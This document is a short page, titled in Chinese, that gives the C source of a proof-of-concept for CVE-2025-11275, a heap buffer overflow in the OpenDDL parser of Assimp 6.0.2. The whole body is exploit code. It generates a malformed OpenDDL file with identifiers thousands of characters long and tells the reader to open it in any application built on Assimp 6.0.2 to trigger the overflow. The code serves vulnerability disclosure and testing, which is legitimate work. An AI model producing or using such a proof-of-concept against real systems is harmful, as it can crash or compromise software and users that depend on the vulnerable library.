CVE-2025-11275：Assimp 6.0.2 OpenDDL解析器堆缓冲区溢出漏洞

// CVE-2025-11275 PoC - Assimp 6.0.2 OpenDDL Parser Heap Buffer Overflow // Triggered via ODDLParser::getNextSeparator in OpenDDLParserUtils.h // This PoC creates a malformed OpenDDL file with an excessively long identifier // to trigger heap-based buffer overflow in the getNextSeparator function. #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { // OpenDDL format: structure with a very long identifier name // The getNextSeparator function fails to validate buffer boundaries // when processing extremely long tokens, causing heap overflow. const char *filename = "poc.openddl"; FILE *fp = fopen(filename, "w"); if (!fp) { perror("fopen"); return 1; } // Write OpenDDL header fprintf(fp, "OpenDDL Resource Script\n"); // Create a structure block with an overly long identifier // This triggers the buffer overflow in getNextSeparator() // when the parser tries to locate the next separator after // the identifier token. fprintf(fp, "Structure $"); // Write a very long identifier (exceeds internal buffer size) // The default internal buffer in OpenDDLParser is typically 256 bytes int identifier_len = 8192; // Significantly larger than internal buffer for (int i = 0; i < identifier_len; i++) { fputc('A', fp); } fprintf(fp, " {\n"); // Add nested content to increase parsing complexity fprintf(fp, " FloatArray $"); for (int i = 0; i < 4096; i++) { fputc('B', fp); } fprintf(fp, " [ "); for (int i = 0; i < 1000; i++) { fprintf(fp, "1.0 "); } fprintf(fp, "]\n"); // Close the structure fprintf(fp, "}\n"); fclose(fp); printf("PoC file '%s' generated successfully.\n", filename); printf("Open this file with any application using Assimp 6.0.2 to trigger\n"); printf("heap-based buffer overflow in ODDLParser::getNextSeparator().\n"); return 0; }